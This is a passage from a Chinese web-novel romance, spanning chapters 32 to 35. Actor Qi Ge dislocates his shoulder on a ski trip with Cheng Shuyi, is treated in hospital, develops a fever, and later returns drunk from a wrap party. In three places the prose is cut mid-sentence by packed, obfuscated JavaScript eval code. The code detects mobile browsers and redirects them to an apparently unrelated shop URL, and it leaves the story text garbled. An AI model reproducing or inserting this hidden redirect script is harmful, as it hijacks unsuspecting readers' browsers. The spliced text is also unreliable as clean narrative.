“这是我一个朋友他姓张,”她回头向走在后面的祁歌介绍,“这位是演员小祁,我们是来玩雪的。倒是你不去高级道炫技,跑这儿做什么?” “我是陪客户,”那位张先生笑着说,“既然这样,你们在这儿的消费我都一块包了,今晚就在这边的山墅酒店住一晚,好好玩一下,怎么样?” 程书仪觉得很不错,毕竟祁歌难得来一趟,可以住下来深度体验一下。但由于之前行程和票都是祁歌订的,她也一直没跟祁歌商量这事。 可是不知道为什么,听说这个消息之后祁歌看上去好像并不太开心。 无奈她已经答应了,也来不及收回,只得想着一会儿再细问。 由于张先生的关照,他们一进雪场就被安排了教练。 程书仪赶紧跟教练交待祁歌身上有伤,就是来体验一下,尽量不要让他摔倒。 祁歌的表情看上去又开心了点。 “书仪你要是想去上面滑,不用等我,我一会儿给你拍照。”祁歌穿着雪板试图行走。 “哎哎你悠着点,走路的时候把滑雪板脱了,这里。”程书仪抓住他胳膊教他,“如果滑的时候摔倒了,也先打开滑雪板就可以起身了。” “对,咱们学滑雪首先要学的就是怎么摔跤,”教练赞同说,“还有怎么刹车。” 祁歌笑了起来:“太有必要了。” “等会儿学几遍熟悉了,就可以上低级道慢慢滑下来,我在旁边保护你。”教练说。 “行不行啊……”程书仪有点担心。 “放心吧,”祁歌给她打包票,“哎我那伤真的没事,当时骑马戏我都照常拍。” 程书仪敲了他头盔一下:“你还骄傲上了。” 两人在这儿玩了一会儿,程书仪的朋友张先生要带客户上山,过来打了个招呼:“你们慢慢玩哈,房间发你手机上了!” “多谢关照!”程书仪笑嘻嘻地回说。 “书仪你也去跟他们上去玩吧。”祁歌忽然说。 “啊?” 这人咋又不高兴了?程书仪一脸茫然。 最后程书仪顺着祁歌的意上去滑了一圈,还真的被祁歌在旁边拍到了很不错的照片。 “拍得还挺帅的。”程书仪多看了两眼。 “好羡慕。”祁歌说。 “怎么样,要不要上去试试?”教练正好过来问。 祁歌看着程书仪。 他这种眼神可不是寻常人招架得了的。 程书仪没人可看,只好眼神飘忽一圈点点头:“……行吧,就一次啊!” 他们从旁边的魔毯电梯上了坡顶,又在教练的指导下从初级道慢慢滑下去。 祁歌中间失去重心摔倒了一次,一屁股坐在了地上。 程书仪过去时他仰着头冲她笑,头发丝和睫毛都沾了雪,看上去像被弄脏的小狗。 教练就在旁边,帮着扶起人又重新扣好雪板:“把握好重心,你第一次滑,滑成这样已经不错啦!” “是吧!”祁歌笑着说。 磕磕绊绊总算滑到坡道尽头,程书仪长出一口气。 “行了,今天收工吧,我们早点去住的地方休息,明天再来玩。”程书仪说。 祁歌点点头,正要说什么,忽然瞳孔一缩。 转瞬之间,他也不知道哪里来的力气,伸手拽了程书仪一把,两人同时向侧面倒去,堪堪避过了一个飞速从坡上冲过来的人。 “喂能不能慢点,这边低级道!”程书仪冲对方的背影吼了一句。 “可能新手不会刹车,”教练赶紧过来,“你们俩没受伤吧?” “你那骨头有没有事?”程书仪扶了把祁歌。 “肋骨倒是没事,”祁歌神情有点扭曲地皱着眉:“但我这个胳膊好像有点脱臼了。” 刚才两个人倒下来时,他用一只胳膊撑了下地面。 “这会儿右肩膀就忽然使不上劲儿了……”祁歌脸色有些发白,自己碰了碰伤处。 “啊那你别动了,叫救援过来吧。”程书仪忙说。 祁歌阻止了她:“等下,我看一下。” 他咬着牙用左手抓住右边大臂,轻轻摆了几下,然后稍微拽了拽—— “好像好了。” “啊?”程书仪瞪大眼睛。 这人刚才……是自己把脱臼的胳膊安上了吗? 这什么硬汉表演啊?! “我看看?”教练过来检查了一下,“好像真的接上了,那你别活动了,下去休息,冰敷一下。” 怕祁歌不方便,回酒店后程书仪叫了客房服务过来送餐。 两人晚饭吃了西餐,沙拉只用叉子,汤只用勺子,牛排都是程书仪切好递过去的。 祁歌看上去很是开心:“好特别的体验,第一次觉得受伤也挺好。” “是不是脑子摔傻了?”程书仪怀疑地看他,“快吃完睡觉去!” 他们住的这间小别墅是lof型的公寓,楼上楼下都有卧室。程书仪去了楼上,留祁歌睡楼下那间。 她在楼上洗漱完想喝口水,在上面找了一圈没找着,只得再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578289|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去取一次。 经过祁歌房间时,程书仪拿着矿泉水瓶顺着敞开的门往里看了一眼,正好看到祁歌正平躺在床上发呆。 “要睡觉就洗漱了好好睡,”她有点好笑地说,“怎么还开始犯懒了。” 祁歌回过神来,应了一声,躺在原处懒懒地伸了个懒腰。 程书仪靠在门框上看他,只见他的表情忽然就凝滞了。 程书仪挑起眉。 说实在的,当时她并没意识到事情的严重性。 也万万没想到半个小时后他们会在人满为患急诊科跟滑友们social。 其实对祁歌来说,今天算是很愉快的一天。 他还从没滑过雪,关于雪地的最快乐记忆是小时候大家在外面打雪仗滑雪橇的幼稚时光。 没想到还是挺好玩的。 还在雪道英雄救美了一次程书仪,心里成就感满满。 除了碰到程书仪那个朋友张先生,让他心头升起了有点并不明显的不舒服,其他都很完美。 完美到他躺在床上伸懒腰时还觉得难以置信。 然后只觉咯嘣一下,肩膀上忽然传来一阵熟悉的疼痛。 不是吧……伸个懒腰而已! 他呆呆望着站在门口看着他的程书仪,开始思考有没有一丝可能装作无事发生然后悄悄把肩膀再一次接上。 毕竟他接上过一次,肯定能再接一次。 但他已经僵硬了太久,程书仪已经开始露出疑惑的表情。 于是祁歌硬着头皮挣扎着动了动肩膀,然后忍不住吸了一口气。 完,这次比刚才疼了好多。 程书仪放下手里的水走过来扶他:“怎么了?” 祁歌顺着她的搀扶坐起来,却立刻将上身蜷缩了下去:“我……靠,要命了。” 他发现自己没办法直起身来,只能维持着将手臂放在身前的扭曲姿势。 “这次好像装不上了。”他抬头对程书仪苦笑道。 程书仪表情肃然起来,蹲下身检查了一下他的肩膀:“你这真的得去医院了。” 祁歌想说话,但是稍微一动就疼得说不出话来。 “动不了是吗?”程书仪抬起头看祁歌的脸。 他们的距离是如此近,祁歌觉得她的目光就像一盏灯直接照进了自己心里。 让他不由地向后一缩。 程书仪没移开视线。 “没事,”祁歌出言宽慰道,“只要不动就不怎么疼。” “那你先别动。” 程书仪说完就噔噔噔跑上了楼,没一会儿又跑了下来,嘴里还在讲电话:“好的,那我们在这里等……好的。” “我叫了120,”她说,“这附近就有一个医院,一会儿就给你接上。” 她穿好衣服又拎着祁歌的鞋子走过来。 祁歌抬起头看了她一眼,不由笑起来。 “笑什么?”程书仪再一次蹲下来,帮他把鞋拉开,“脚放进来。” “没想到会搞成这样,”祁歌说,“我还想着我肋骨的伤是真的没事了,不会……” “要说抱歉就省省吧,”程书仪认认真真帮他系好鞋带,“其实我还没上过救护车,托你的福,还能体验一下。” 她也对祁歌笑了笑:“现在甚至还有点期待了起来。” 33. 修肩膀 120来的时候,祁歌本想自己走上车去。 奈何他肩膀实在疼得像断了一样,动一下就一身冷汗,甚至要咬紧牙关才不喊出声来。 程书仪便不许他起来,跟医护人员一路护送将他推进了医院。 滑雪场附近唯一的一家医院,这个时间了还灯火通明、门庭若市。 急诊大厅里活像什么联谊中心,各种伤情的病友们正乐观开朗地地交流着伤情。 “哟,兄弟这是怎么弄的?” 一个架着胳膊的年轻人问一位躺在担架上的大哥。 “没刹住冲进拦网,”这位指了指腿部有些奇怪的形状,“一下给我干骨折了。” “拍片了吗?”有病人家属问。 “正要去拍,”大哥乐呵呵的,“可能一会儿拍完就得进去手术了。” 周围的人一片长吁短叹。 “今年算是告别雪场啦。” 祁歌来了之后就坐在轮椅上,保持着刚才那个上半身向下垂着的奇怪姿势,表情却算得上轻松。 “小伙子哪受伤了?”排在前面的一位女士好奇地看祁歌。 “应该就是肩膀脱臼了。”祁歌扬起脸,动作艰难地答。 那位女士很是好心:“看你这挺严重啊,肩膀都掉了,要不你先吧?” 祁歌赶紧摆手,还没说出话,程书仪在旁先开口问道:“您是怎么了?” “噢,我是脚扭伤了,没什么大事,”那位美女说,“前面这位姑娘肋骨骨折了,疼得不行,刚才我就让她先了。” 程书仪和祁歌顺着往前看过去,只见前一位姑娘也是蜷在轮椅上,疼得满脸泪痕不断呻吟,看着十分可怜。 “不用换了,您先看吧,”程书仪阻止了她要往后让的动作,“他这也不要紧的。” 祁歌也连连点头:“是是是,我本来自己都安上了,结果可能没安紧,又掉了。” 他的措辞引得周围人都笑了。 好容易排到看诊,三言两语后,祁歌先被医生安排去做CT。 又是新一轮的排队。 “要不我们去那边等,”祁歌指着走廊尽头,“那边好像有个休息区。” 程书仪纳闷:“不是我说,你都坐轮椅上了,在哪等不一样吗?” “不是我,”祁歌笑了笑,“你站了这么久,不累吗?” 程书仪皱起眉,伸手敲了一下他的脑壳:“少操点没用的心,多操心你自己吧!” 祁歌一只手垂着,另一只手还要帮忙固定,动不了一点,委委屈屈地扁嘴:“我不是也没想到会这样……” “……哎行了行了,又没怪你。”程书仪伸手揉了一下他脑袋上刚才被自己敲的地方。 祁歌的头发发质细软,摸在手里有种顺滑的感觉,就好像是…… 在摸一只小猫。 特别是这只猫——你别管什么原因吧——只能乖乖地一动不动等着被人摸,就更让人欲罢不能。 “让一让让一让!”走廊里护士咣当当地推着轮床过来了,祁歌忽然抬起头看向程书仪:“书仪?” 以为他有什么需要,程书仪连忙弯下腰靠近他:“怎么了?” 祁歌却费劲地腾出一只手,挡在了她眼前。 身边的轮床急急忙忙驶过,程书仪只看到轮子从脚边滚过,接着CT室的门合上了。 祁歌慢慢收回了手,表情里还有点擅自乱动后吃痛的余味。 程书仪愣了愣,半天才反应过来他在做什么。 刚才被推进来那个病人估计伤得挺重,祁歌面向那边先看到了,于是怕自己看到轮床上的病人会害怕。 程书仪不太赞成地摇了摇头。 CT显示祁歌的肩膀没有骨折,只需要手法复位即可。 “你看,处理办法和我一样,”祁歌说,“说明我一点也没乱来。” 程书仪懒得理他,勉强送了半个白眼。 大概由于病患众多,医生们普遍没有太大耐心,进了处置室没多说什么,看了眼片子又伸手摸了几下,接着干脆利落地把祁歌的肩膀接上了。 祁歌半声痛呼卡在喉咙里,连呼吸都被扼住,再发不出一点声音。 “接下来几个星期要用护具做个固定,”医生慢条斯理地交代着注意事项,“以免惯性脱臼。” “还有他之前的肋骨骨裂……”程书仪还不太放心。 “那个没有错位,慢慢养着会长好的,”医生见惯了严重得多的伤,甚至不需要看一眼伤处,“尽量减少活动啊,滑雪什么的就别滑了。” 两人连声答应着退出了诊室。 天都快亮了。 这会儿急诊大厅里的病人被处理得差不多了,喧嚣渐次散去,这里又变得白惨惨静悄悄的。 “走吧,”程书仪说,“打个车回去睡觉。” 祁歌胳膊被吊在身前,看上去垂头丧气,很是凄惨。 程书仪歪头看了会儿,不由噗嗤一笑。 “做什么?”祁歌瞟她一眼,“这时候想起来嘲笑我了?” 话还未落,他自己也笑起来。 两个人像傻子一样站在门口笑了半天,才终于想起要叫车。 “好不容易来一趟,就在房里睡觉的话……” 程书仪果断打断了祁歌的遗憾自语:“行了别念叨了,不就是滑雪吗,有什么不容易的……” 那不是想来就来吗? 不过……程书仪转念一想,当年他们在一起时,还真不是想来就来那么简单。 那时候她工作很忙,很少腾得出大块的空闲时间。 而祁歌虽然没有太多工作,却要随时关注组训,一有需要时即刻进组。 程书仪还记得有一次,祁歌到处跑组时不知道感染了什么病毒,发了快40度的高烧,吃了退烧药也没完全退下去。 他向来肠胃比较敏感,生病时胃口又差,两天都没怎么好好吃东西。 程书仪心里着急,面上却故作镇定,埋怨他不肯好好吃东西,又换着花样骗他多吃一口。 就在这时,祁歌接到了一位熟人的邀请,让他即刻到位,去录一个之前试镜时定下的角色。 “抱歉啊,可能去不了了。”祁歌操着烧哑的嗓子跟人打电话道歉,“您看能不能换个演员……” 程书仪在旁边用体温枪嘀了他一下,体温枪的显示屏一下子变成38.5度以上的红色。 电话那端的人声音想必很大,清晰地从手机里传了出来:“……你是经过投资方在几个候选人中挑出来的演员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578290|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在提出换人根本不可能,你要是不来,拍摄团队要赔偿投资方十几万,你爬也得爬过来!” 还没等祁歌回话,电话就断了。 “……多大的角色啊?”程书仪撇了撇嘴,“这么要紧。” 祁歌摇摇头没答话,抬手要掀被子。 “哎!”程书仪一把按住了他,“你还真去啊?” 大概是动作有些大,祁歌垂着头撑着床边缓了缓,将声音压得很低:“答应了人家,契约精神嘛……” 他说“契约精神”这个词,大概率是想要获得程书仪的共鸣。 但程书仪着实非常疑惑:“命都快没了,契约还有效吗?你这龙套才给你多少钱啊……” 祁歌叹了口气:“戏比天大嘛……” 对程书仪来说,一切不给报酬只讲情怀的口号都是骗人的。 祁歌就是当傻子还不自知。 这个演戏的行当把他当成一块砖,哪里需要就搬到哪里。这砖还会自动修复自动到位,用完直接丢掉,简直不能更好用。 但这话跟他说不通,这砖块看起来就算是被砌进城墙被炮火击碎都乐意至极。 “不许去,”程书仪冷下了脸,“你自己看看你的脸色,能拍戏吗?” 祁歌楞了一下,还真的费力地站起身,走到镜前看了看。 “应该遮得住吧……” 程书仪不说话了,就坐在原地看他折腾。 祁歌已经开始摇摇晃晃地换衣服。 他面色发红,眼神迷离,站都站不稳,却是一门心思地要往哪城墙上爬,试图寻一个粉身碎骨。 程书仪就这样看着他出了门。 “书仪?”祁歌吊着胳膊探头看过来。 “嗯?怎么了?”程书仪猛地将自己从思绪中抽出来。 “想什么呢这么专心,”祁歌对她笑,“可以帮我一下吗?我弄不好牙膏。” 程书仪朝他走过来:“倒水,更衣,挤牙膏,少爷还有什么吩咐,要不一块讲出来算了。” 祁歌皱着鼻子撒娇:“书仪这就嫌我烦了?” “醒醒,您老几岁了?”程书仪笑他。 祁歌没接话,一双眼直勾勾盯着牙刷头,等着程书仪给他把牙膏弄好。 不知怎的,他这个状态好像忽然和回忆里的那个重叠在了一起。 程书仪意识到这一点后,才终于后知后觉地警惕起来。 等等,这少爷…… 她猛地将目光转移到祁歌脸上。 等了半天没看到牙膏,祁歌有几分无辜地抬眼看她。 程书仪颤颤巍巍地深出手背搭在他额头上。 哦豁。 果然发烧了。 于是程书仪开始思考有没有必要一晚上去两次医院。 “书仪?”这少爷还催上了。 他获得了一个恶狠狠的脑瓜崩。 “发烧了自己不知道吗?我真服了……还有别的症状没有?” 看到程书仪心情不好,祁歌很明显地瑟缩了一下:“我、我没事的……书仪你别……” 他的话没说完,程书仪却愣住了。 祁歌会……因为她的反应而害怕吗? 这种情绪,程书仪还没在他身上看到过。 34. 看月亮 “好了,没事的,”最后程书仪只得败下阵来,温言劝解道,“还有哪里不舒服吗?” 祁歌摇摇头:“吃个退烧药就好了。” 程书仪对他这种见招拆招的自我诊疗方式感到无语:“能不能对自己上点心?” 祁歌瞪着眼睛无辜地看着她。 她伸手敲了敲那个柔软发丝覆盖着的漂亮脑壳:“到底每天都在想什么啊?” “想你。”祁歌直言不讳地说。 这记直球将程书仪打了个措手不及:“不是,你……” 直球发射者毫无所觉地垂下顺长的睫毛,声音渐渐几不可闻:“我好想你啊。” 祁歌醒来时,一时不知自己身在何处。 他好像做了个很长的梦。 梦里程书仪纵容了他的任性,陪他去看过茫茫雪景,一起经历了狼狈与欢笑,甚至居然遇到了电视剧里才会出现的场景,被他英雄救美。 ……后来呢?后来好像这个梦陷入一片兵荒马乱,很疼,很茫然,也多少有些不甘和尴尬。 他有点不敢想这梦的终点——或者说起点在哪里。 或许睁开眼又回到分开后踽踽独行的平凡一天,他浑浑噩噩以空洞度日,身边空无一人,只能在依稀难辨的追忆中郁郁度日。 又或许会再往前点,回到他还未失去她的时候。他们会有争论与不快,但更多时间是在不知疲倦地彼此探索、分享快乐。 再之前呢……再之前他们素不相识,在两条看上去永远不会相交的线条上奔跑,一切都不会结束,一切都未曾发生。 如果真的是那样,还不如就这样睡下去算了。 他有些颓唐地想。 就像每一个梦一样,就在睁开眼的那瞬间,理智会渐渐从黑暗的角落里涌向脑海,时间与记忆的片段也顺理成章地一一对应起来。 仿佛学生时代的上课时睡了一觉,醒来只剩幻灯片的最后一页。 他躺在这家酒店装修简洁精当的房间里,门虚掩着,外面听起来很安静,可能程书仪没在房间。 于是祁歌放任自己走了会儿神。 如果可以选择,他会希望在什么时候醒来呢? 或许,此刻便是最好的。 此刻他的心仍是燃烧着的,仍是渴盼着的。 “醒了?”程书仪推门进来,就看到祁歌一副生无可恋的样子望着天花板。 听到她的声音,祁歌一骨碌就爬了起来,接着整个人差点又栽回去。 “哎哟您慢点,”程书仪拿不准他到底咋回事,连扶都不敢扶,“你这伤病交加的,昨天晚上都不知道你是睡着了还是晕过去了。” 祁歌垂着头缓了缓才抬头笑道:“偶尔发个烧,没事的。” “发烧还没事?”程书仪讶然,“你昨晚还跟我说要吃退烧药,我怕会刺激胃,没敢给你。” 祁歌闻言自己抬手感受了一下额头上的温度:“我发烧了?” 失忆了?程书仪愕然,合着这人昨天又是说那些情真意切的话又是…… 程书仪开始思考现在把这人打一顿到底犯不犯法。 “怎么了?”祁歌观察着她的表情,“我昨天说什么了吗?” 程书仪迅速转身走向外面:“醒了就过来吃点饭吧……” 假装没听到祁歌追问的声音。 不是,什么啊? 祁歌呆滞看着她的背影,不懂程书仪怎么突然态度怪怪的…… 他还想再问,程书仪却很明显地回避掉了话题。 ——直到他们返回市里,祁歌都没搞懂自己晚上到底做了什么,能让程书仪反应如此之奇怪。 理论上说,他们之间也没什么不可说的事情。 甚至两人都对彼此太过心知肚明,连什么非说不可的话都没有。 因此最近虽然在小小同居,他们也只是普通平凡地聊天吃饭,祁歌还一直想着得加把劲追起来才行。 转念一想,难道是不小心把自己当初离开她之后过得有多惨给说了? 搞得程书仪听而生畏,打算对自己敬而远之? ……好像合理。 “对了,那个张先生……你跟他很熟悉吗?”祁歌一只胳膊还吊着,一边艰难换鞋一边问程书仪。 “谁?——噢老张啊,我们以前是同学,”程书仪忙着看手机上的资料,“最近在一起合作项目。” “这样啊,好的没事你忙吧。” 人都回自己房间了,程书仪才后知后觉地抬起头。 刚才祁歌好像是……情绪不太好? 应该不至于吧,刚才进门感叹终于到家了的时候看着还挺开心的,是错觉,一定是错觉。 再说,现在应该情绪不好的人明明是自己才是。 毕竟晚上好端端的被一个玻璃人似的病号又是哭唧唧倾诉思念又是大大熊抱又是委屈索吻…… 然后他本人一转头把事情忘了个干干净净,只剩下自己留下心跳加速的记忆,这合理吗? 程书仪一闭上眼就仿佛还能看到祁歌那双眼睛里噙着泪的样子,吻上来时被泪水打湿的睫毛就贴在眼下,好惹人怜爱……害得她一直没睡好。 先去补个觉算了。 这两天没有跟进最新的数据和消息,程书仪有好多工作要补,又排了好几个会,这几天时间都是满的。 祁歌那边的剧组也重新开拍了,连续几天都要在市里早出晚归。 两个人都忙了起来,一天都不一定见得到一面。 程书仪又不由开始思考,这要是真的在一起了,会不会经常过这种没人着家的日子。 但转念一想这样也挺好,总比一个忙一个闲要好,两个人心理比较平衡。 “今晚杀青了。”正想着,祁歌那边发来消息。 最近祁歌汇报自己动态很是积极,每天都会更新吃穿用度和拍摄新闻。 消息附带了杀青图一张,祁歌抱着一束花,手里还拿着红包。 完了,本来还打算他杀青前再去探一次班的。程书仪想,不但没顾上,连杀青也没去。 祁歌前两天看到她的时候还提了一句,说杀青时候要是有空可以来组里。 程书仪不免觉得有点遗憾,慢悠悠地锁了车走进电梯。 很晚了,家里很安静,保姆阿姨已经睡了,给她留了楼梯的灯。 也不知道祁歌今晚几点能回来。 程书仪路过时,看了眼虚掩的客房。 祁歌忙归忙,每天都会把房间里整理得干干净净,很有客人的自觉。 但程书仪其实不太希望他这样。 她忽然觉得他们之间其实有好多事需要聊一聊。 “晚上什么时候回来?”她给祁歌发消息问。 那边几乎是秒回:“正在杀青宴上,今天会晚一些,你先休息吧。” 杀青宴…… 程书仪皱着眉打字:“少喝酒。” ……感觉这句话说了也是白说。程书仪连按三下删除给删掉,改成了:“知道了。” ……等等,这是不是显得有点冷漠了。程书仪再次连删,改成:“好,祝贺杀青!” ……其实也没什么好祝贺的,程书仪猜祁歌甚至不一定高兴,可能焦虑还更多些,毕竟下一部戏都还没着落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578291|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程书仪删删删…… 这么一连串心理活动下来,时间已经过去了好几分钟。 大概是没等到她回复,祁歌又发了消息过来:“有事吗?我早点回去?” “不用没事,”这次程书仪赶紧阻止,毕竟一般这种场合上会有不少业内的大人物,祁歌一个小透明提前离席也不合适,“我就问一下,你吃好喝好。” 来不及犹豫,发送键已经按了下去。 祁歌这次回了句语音,程书仪刚点开就听出了笑意:“好,我尽量。” 这句话的背景里还能听到有些嘈杂的觥筹交错,可就是这抹清晰又自然的笑意,让程书仪忍不住又听了一遍。 又一遍。 ……中毒了吧我!程书仪一个激灵,赶快把手机扔到一边。 杀青宴刚开始没一会儿,祁歌就打发阿远回去休息。 “我不回,”阿远说,“我陪你,程姐说让我最近照顾好你。” “你照顾得很好了,”祁歌真诚地说,“我最近好得很。” 阿远熟练地对他翻白眼,不着痕迹地给他面前的杯子里兑水。 其实这几天补拍的内容里,祁歌的戏份不算太重。 但都是些比较虐心的戏。 比如明明还想靠近女主,却总在一次次自惭形秽和暗自神伤里错过时机。 比如以为自己的争取能让对方动心,却发现两人间已隔了太多东西,再也回不到从前。 不知道他演得难受不难受,阿远看得可是难受得不行。 “小祁敬您一杯,真是入戏的好演员。”有剧组的老师过来敬酒。 “不敢不敢,该我敬您。”祁歌起身和对方碰杯。 阿远在旁边笑嘻嘻地端着果汁随一个:“老师您演得特别好,祁哥天天跟我念叨,说要向您学习。” 这类互相吹捧的话术高姐带着她出去学过两次,阿远虽还不熟练,却积极实践。 “我这都是技巧,不值一提,”这位老师被夸得很是舒坦,“小祁这种愿意奉献自己的体验派,在年轻一代里很少见的。” “您过奖了……”祁歌说。 “小姑娘你也好,”老师话锋一转一碗水端平,不忘无中生有地夸了夸阿远,“你来了我感觉小祁状态也好多了,你不知道,之前有一次我们拍完了傍晚戏,小祁一个人在那个拍摄的广场台阶上坐到半宿……” 周围的其他演员听到在讲片场轶事,都往这边看过来。 祁歌忙着往回拦:“哎老师……” 这才刚开席,老师已然喝得有点上头,兴致上来挡也挡不住:“我和导演最后收工了才走,这才看见了他……哎哟你不知道我们费多大劲才把他劝回去,还有那次……” “好好我谢谢老师,敬老师一杯!”祁歌豪迈地拎起酒瓶给自己满上,又给老师的杯子里也倒满了。 这杯酒终于把这话匣子关上了。 阿远在旁边听得若有所思。 按照拍摄进度来看,她来之前剧组拍的其实多是些正常的谈恋爱情节,虐戏应该很少。 到底什么样的戏,能让祁歌拍完戏在台阶上从黄昏坐到晚上? 等老师走了,阿远悄悄拽了下祁歌的袖子,向当事人跟进八卦:“哥,台阶上坐半宿是……” “啧,”祁歌瞪她一眼,“就想看会儿月亮,不行吗?” 看月亮啊……阿远撇撇嘴。 这个人的壳也太难撬开了吧! 她还没想出个所以然,忽然发现祁歌眉头蹙着,手肘在桌上撑了一下,轻轻吸了口气。 糟,不该让他喝这杯酒来着。 35. 随他吧 程书仪快半夜的时候收到阿远的消息,问她是否已经休息。 没等程书仪回答,阿远又追加一条,说祁歌喝多了,看看方不方便过去。 这有什么不方便?程书仪不解,问阿远是需要自己去接还是怎么样。 “那倒不用程姐,”阿远发了语音通话过来,“其实我们在路上了,我看他有点不太清醒,怕打扰你。” 程书仪觉得好笑:“没想到你考虑还挺周到。” 电话那边没听到祁歌的声音,不知道是已经人事不省了还是怎么样。 程书仪想了想,换了郑重些的语气跟她说:“以后他的事……都不用怕会打扰我。” 祁歌进门时酒意已经醒了大半。 这是他第一部男主戏,来敬酒的人多,又还算是新人,也不好拿腔拿调,只好半推半就喝了不少。 最上头的一阵酒劲过去点了,疼痛就更清晰些。 但这些对他来说都是司空见惯的。漫长的、无处躲藏也无人倾诉的痛苦,等待与遥不可及的希望,还有从回忆中汲取的幻想。 好吧,他必须得承认自己还是有些轻飘飘的空落感。 多少还是醉了的。 倘若醉了,是不是……可以暂且逃开程书仪想要跟他说的话。 程书仪应该不会为夸赞之辞郑重其事,他想,今晚程书仪要跟他说的话,估计自己不会太爱听。 他站在门口端详了程书仪一会儿。 “怎么不进来?”程书仪问。 她穿着睡衣,看着有些疲倦,靠在走廊边看他。 这差不多就是幻想中的样子了,祁歌想。如果这种生活是他真正拥有的而不是幻觉,他需要拿出什么来交换呢? 没听到他的回答,程书仪皱着眉向他走了过来:“还好吗?” “不能更好了。”祁歌出于本能地说。 他熟练地一股脑把所有的担心和纠结都塞回了壳子里。 也是习惯了。 程书仪看上去却不太满意。 她抱着臂看他,很快作出了判断:“分不清是现实还是做梦?怎么喝这么多……” 被她一击猜中,祁歌笑了,眼睛眯成一线,像是快要睡着的猫:“也没到喝多的地步,我怕阿远想多了,也懒得解释就……” 原来如此,程书仪了然。 是因为不知道程书仪愿不愿意将他们的关系公之于众,也不确定程书仪愿意公开到什么程度,只好装醉一场,来躲过必要的解释。 “你……不必这样。”程书仪字斟句酌地说。 祁歌这次睁圆了眼睛:“我……应该怎样?” 也不知道怎么回事,好好的话到了他嘴里再重复一遍,一下子就变了味儿。 “我不是对你提要求,是说你可以按自己的想法做事,没必要随时迁就我。”程书仪耐心地对他进行语文教育。 也不知道这人听懂了没,祁歌只默默地低头换鞋,动作缓慢又凝滞,仿佛要在程书仪家门口入定。 程书仪走近前去看他:“真醉了?” 小猫仰起脸来看她:“没有,就是有点……有点……” 他想表达的东西似乎很难被组织成合适的语言,努力了半天未果后,祁歌果断地放弃,另外起了个话头:“书仪,你想要跟我说什么呢?” “啊?” “你之前问我什么时候回来,还有……”祁歌歪头想了想,“还有现在在这里等我。” 想想也是,之前这几天他们各忙各的,程书仪基本上到点就去睡了,没怎么等过晚归的祁歌。 难道连这事也在意了? “你希望我等你?”程书仪直接问。 祁歌摇摇头。 程书仪更困惑了:“那你说这个做什么……” 祁歌的表情甚至罕见地有点不耐烦:“我是说,你今天晚上等着我,应该有原因吧,是不是有什么事要跟我说?” “哦哦哦……”习惯了祁歌不有话直说让人揣测,这次难得直爽一次,倒令程书仪有点不适应了。 程书仪想了想,把语气放轻:“其实也没什么大事,我是想跟你说,你可以自由一点……” “你要给我自由?”祁歌的眼睛里闪着震惊的光。 不是……等一下……这什么世界级理解啊…… 程书仪一整个陷入大无语。 算了,和一只醉猫没什么好说的。 祁歌等了半天也没等来程书仪对这句话的解释,感觉心里像被揪住了一样难受。 他明白是酒意放大了这种脆弱感,让他的患得患失反复翻涌,竟有些压抑不住。 “书仪,如果你对我有什么要求……” “我没有。”程书仪连忙说。 怎么会没有呢,祁歌绝望地想,程书仪从来是个严格的人。 当初,他不就是因为这个才逃的吗…… “书仪,我愿意听,也愿意去尝试,你不用讳言,”祁歌极尽诚恳地说,“我想过很多,之前是我做得不够,没办法担起我应该承担的东西……” “祁歌,”程书仪出言打断了他,“我真的不是那个意思,你先休息,明天我们再聊。” “好吧。”祁歌闭上嘴点点头。 低下头只觉得一股挫败感涌上心扉。 “……怎么还哭了?”他听到程书仪说。 谁,谁哭了?祁歌抬头的时候有些茫然,恍惚间感觉程书仪走到近前,对他伸出手。 他下意识地躲了一下,让那只手停在了他的脸下面。 也不知道是不是大脑短路,祁歌没多想,下意识地弯了下腰,把下巴放在了那只手的手心。 这个动作其实是多年前流行的一种短视频拍法。 当时祁歌还不知道这个梗,看到程书仪忽然在自己面前伸出手,还以为是要什么东西,被程书仪笑古板。 后来好容易拍了这个梗的卖萌视频,程书仪又不让他发了。 “我的手会被看到,你粉丝会怀疑你名草有主,算了!” 祁歌茫然:“……确实是有主啊。” “你才这么年轻就公布恋情,会影响事业的!”程书仪苦口婆心,“女友粉也很重要啊。” 祁歌叹了口气。 这人就不能有一会儿不操心自己的事业吗。 不过也是,他这事业的惨淡程度也真的很值得操操心。 压力这不是就上来了。 程书仪望着这个猝不及防落在自己手心里的脑袋发呆。 祁歌今天化了淡妆,却又出了汗,这会儿似乎已经脱得七七八八了。 因此他泛白的脸色和唇色,微蹙的眉头以及晶莹闪烁的眼眸都一览无余地映在眼前。 看来是真的有些醉了。 她鬼使神差地伸出另一只手来,轻轻摸了摸祁歌的脑袋。 